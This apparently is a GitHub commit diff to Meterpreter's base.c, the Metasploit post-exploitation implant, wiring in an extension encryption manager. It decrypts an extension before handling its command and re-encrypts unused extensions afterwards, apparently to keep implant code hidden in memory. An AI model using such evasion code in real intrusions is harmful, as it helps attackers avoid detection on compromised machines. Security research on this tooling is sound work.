Skip to content

Commit 72214ad

Browse files
committed
feat: extension encryption manager, wiring to library loading and command handling
1 parent 1554bc2 commit 72214ad

4 files changed

Lines changed: 421 additions & 84 deletions

File tree

c/meterpreter/source/metsrv/base.c

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
* @brief Definitions that apply to almost any Meterpreter component.
44
*/
55
#include "metsrv.h"
6+
#include "extension_encryption.h"
67

78
// TODO: move these to a header?
89
// Local remote request implementors
@@ -426,6 +427,7 @@ BOOL command_handle(Remote *remote, Packet *packet)
426427

427428
UINT commandId = packet_get_tlv_value_uint(packet, TLV_TYPE_COMMAND_ID);
428429

430+
ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager();
429431
do
430432
{
431433

@@ -455,6 +457,21 @@ BOOL command_handle(Remote *remote, Packet *packet)
455457
break;
456458
}
457459

460+
461+
if(command != NULL && encryptionManager != NULL) {
462+
ExtensionEncryptionStatus* extStatus = NULL;
463+
if(encryptionManager->get((LPVOID)command, &extStatus)) {
464+
if(extStatus != NULL && extStatus->bEncrypted) {
465+
dprintf("[COMMAND] Decrypting Extension having command %u", commandId);
466+
if(encryptionManager->decrypt(extStatus)){
467+
dprintf("[COMMAND] Extension Decrypted!");
468+
} else {
469+
dprintf("[COMMAND] Extension Decryption failed!");
470+
}
471+
}
472+
}
473+
}
474+
458475
// if either command is registered as inline, run them inline
459476
if ((command && command_is_inline(command, packet))
460477
|| packet->local)
@@ -474,6 +491,10 @@ BOOL command_handle(Remote *remote, Packet *packet)
474491
thread_run(cpt);
475492
}
476493
}
494+
if(encryptionManager != NULL) {
495+
encryptionManager->encryptUnused();
496+
}
497+
477498
} while (0);
478499

479500
return result;

0 commit comments

Comments
 (0)